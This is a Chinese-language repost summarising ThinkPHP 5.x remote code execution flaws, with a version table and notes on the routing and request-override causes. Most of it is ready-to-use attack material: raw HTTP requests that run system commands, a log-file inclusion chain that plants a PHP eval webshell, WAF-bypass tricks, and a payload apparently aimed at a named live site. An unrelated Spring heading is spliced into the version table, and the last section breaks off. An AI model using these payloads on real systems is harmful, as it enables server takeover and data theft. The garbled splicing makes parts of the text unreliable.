thinkphp5.x系列RCE总结
Thinkphp  MVC开发模式
执⾏流程:
⾸先发起请求->开始路由检测->获取pathinfo信息->路由匹配->开始路由解析->获得模块、控制器、操作⽅法调度信息->开始路由调度->解析模块和类名->组建命名空间>查并加载类->实例化控制器并调⽤操作⽅法->构建响应对象->响应输出->⽇志保存->程序运⾏结束
漏洞原因:路由控制不严谨,默认不开启强制路由,从⽽可以任意调⽤Thinkphp的类库
主要有俩种⽅法,1.Request中的变量覆盖导致RCE  2.路由控制不严谨导致的RCE
1.Request中的变量覆盖导致RCE
版本名 是否可被攻击 攻击条件
5.0.0 否 ⽆
5.0.1 否 ⽆
5.0.2 否 ⽆
5.0.3 否 ⽆
5.0.4 否 ⽆
5.0.5 否 ⽆
5.0.6 否 ⽆
5.0.7 否 ⽆
5.0.8 是 ⽆需开启debug
5.0.9 是 ⽆需开启debug
5.0.10 是 ⽆需开启debug
5.0.11 是 ⽆需开启debug
spring framework rce漏洞复现5.0.12 是 ⽆需开启debug
5.0.13 是 需开启debug
5.0.14 是 需开启debug
5.0.15 是 需开启debug
5.0.16 是 需开启debug
5.0.17 是 需开启debug
5.0.18 是 需开启debug
5.0.19 是 需开启debug
5.0.20 否 ⽆
5.0.21 是 需开启debug
5.0.22 是 需开启debug
5.0.23 是 需开启debug
5.0.0-5.0.12
payload:
POST /tp5010/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
s=whoami&_method=__construct&filter[]=system
5.1版本,需设置error_reporting(0);
POST /tp5132/public/index.php HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Cookie: XDEBUG_SESSION=PHPSTORM
Content-Length: 28
c=system&f=id&_method=filter
利⽤⽂件包含
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();利⽤其他变量传参
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
2.路由控制不严谨导致的RCE
v5.0.23及v5.1.31以下版本
index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
xz.aliyun/t/3570 thinkphp win 和linux 的区别
www.butian/4e5e5d7364f443e28fbf0d3ae744a59a
thinkphp 3 指纹识别 4e5e5d7364f443e28fbf0d3ae744a59a GET
绕宝塔 -主要还是函数和正则上的绕过
yishangtv/index.php?s=&Fuck=copy(%22www.letv.%22,%22test.php%22) _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
还有⼀种思路 利⽤\think\ 类库的 ⽅法
做⽂件包含,把马内容写到log
关于第⼀种⽅法,在基于tp5开发的cms 复现
mipcms 最新版本。debug 需要打开
url : 127.0.0.1/ms/?s=index
payload:
c=assert&f=phpinfo()&_method=filter
关于第⼆种⽅法,在基于tp5开发的cms 复现 Powered by  Code ©2003-2018

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。